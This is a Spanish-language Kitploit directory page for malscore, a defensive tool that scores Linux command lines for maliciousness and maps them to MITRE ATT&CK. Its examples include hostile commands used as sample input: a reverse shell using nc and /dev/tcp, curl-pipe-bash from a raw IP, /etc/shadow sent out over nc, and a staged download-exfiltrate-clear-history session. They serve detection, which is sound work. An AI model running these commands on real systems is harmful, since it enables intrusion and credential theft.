Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
malscore — Puntuación de maliciosidad para comandos de Linux | Kitploit
Herramientas/GitHubGitHub/raj3shp/malscore
Herramientas DefensivasAnálisis EstáticoScripting y AutomatizaciónAnálisis de MalwareInteligencia de AmenazasRespuesta a IncidentesDetección de AnomalíasAnálisis de Registros
GitHubraj3shp/malscore

malscore

Puntuación de maliciosidad para comandos de Linux

Ver Repositorio
97hace 7h 55mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🦠 malscore

PyPI version Python 3.8+ License: Apache-2.0 Zero dependencies MITRE ATT&CK mapped

malscore toma una línea de comandos de Linux, o una sesión de comandos como un historial de shell, y devuelve una puntuación de maliciosidad de 0 a 100 con una banda de veredicto y mapeo a MITRE ATT&CK:

command(s) → features → signals → score + MITRE mapping

Nunca ejecuta, expande ni resuelve nada — solo lee el texto (garantizado por tests/test_safety.py). No tiene dependencias más allá de la biblioteca estándar de Python (3.8+).


Instalación

pip install malscore       # provides the `malscore` command

Desde una copia de trabajo del código fuente:

pip install .              # or run without installing, from the repo root:
python3 -m malscore "<command>"

Inicio rápido

# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"

# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -

# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -

# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high

# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain

# machine-readable
malscore --session history.txt --json

# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high

API de Python

from malscore import Analyzer

a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict)                 # 67 high
print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']

r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command])   # each command's own assessment
print(r.as_dict())                        # JSON-ready

Analyzer(redact=True) redacta los valores que parecen credenciales antes de que se devuelva cualquier texto de comando; las puntuaciones no se ven afectadas.


Ejemplos:

$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░  score  91/100  CRITICAL
  tactics: exfiltration, credential-access, command-and-control

  evidence:
    [0.60] exfiltration           Credential material is sent over the network
           T1552 T1041
    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
           T1003.008
    [0.35] exfiltration           Data is sent over a raw socket
           T1048
    ...

$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c

$ malscore --session history.txt
████████████████████████  score  99/100  CRITICAL
  history.txt
  tactics: execution, defense-evasion, exfiltration, command-and-control, collection

  7 command(s), 6 flagged:
    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz [email protected]:/srv/
    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...

En un archivo de sesión, cada línea no vacía es un comando, tomado literalmente: no hay manejo de comentarios, continuaciones de línea ni here-documents. --batch es diferente: puntúa cada comando de un feed JSON de forma independiente, sin análisis entre comandos.


Bandas de veredicto

puntuaciónveredictosignificado
80–100criticalla forma rara vez es legítima (reverse shell, borrado de disco, cuenta uid‑0)
60–79highevidencia sólida; revisar con prontitud
35–59mediumsospechoso en la mayoría de contextos (curl‑pipe‑shell, lectura de shadow)
15–34lowdigno de mención en combinación
0–14benignrutinario

Las bandas y los pesos son un punto de partida ajustado manualmente, no un modelo entrenado: cada punto de la puntuación se remonta a una señal con nombre y a una técnica MITRE ATT&CK.


Cómo se construye la puntuación

  1. Características. El comando se analiza léxicamente (sin ejecutar nada), los wrappers como sudo/env/xargs se desenvuelven, se desciende en las sustituciones y en las cargas útiles de -c, y se calculan características deterministas — cadenas de descarga, rutas tocadas, superficies de persistencia, trucos de codificación, y un grupo tradecraft (malscore/tradecraft.py) que reconoce técnicas específicas de atacante por su forma.
  2. Señales. malscore/signals.py es un catálogo de ~120 señales con nombre: un predicado sobre el registro de características, un peso en (0, 1], una táctica MITRE y ids de técnica. Un peso se lee como "qué tan probable es que esto sea hostil si fuera lo único que supiéramos". El catálogo abarca, por táctica ATT&CK:
    • ejecución — intérprete desde una descarga, cargas útiles decodificadas, mejoras de TTY, ejecución sin archivos desde /proc/self/fd;
    • acceso a credenciales — /etc/shadow y claves privadas, metadatos de la nube, búsquedas de palabras clave de credenciales sobre archivos de configuración, lecturas de .pgpass/.netrc/ archivos de credenciales de la nube, extracción de variables de entorno e historial, secuestro de SSH-agent;
    • escalada de privilegios — reverse shells, ediciones de sudoers, setuid, escape de contenedor, shells root interactivas, escapes de shell vía GTFOBins, el bypass sudo -u#-1, secuestros de PATH;
    • recolección / exfiltración — archivos y volcados de bases de datos, acceso a tablas o archivos que contienen números de tarjetas / tokens / datos de clientes, búsquedas con regex de números de tarjetas y SSN, exfiltración por DNS y codificada, servicios de paste/webhook;
    • evasión de defensas — manipulación de historial y registros, desactivación de EDR/auditoría, limpieza de flags inmutables, ocultación mediante bind-mount de /proc;
    • persistencia / impacto — cron, systemd, hooks de inicio de sesión, borrados de disco, fork bombs, mineros, DROP TABLE, terminación masiva de procesos.
Descargar herramienta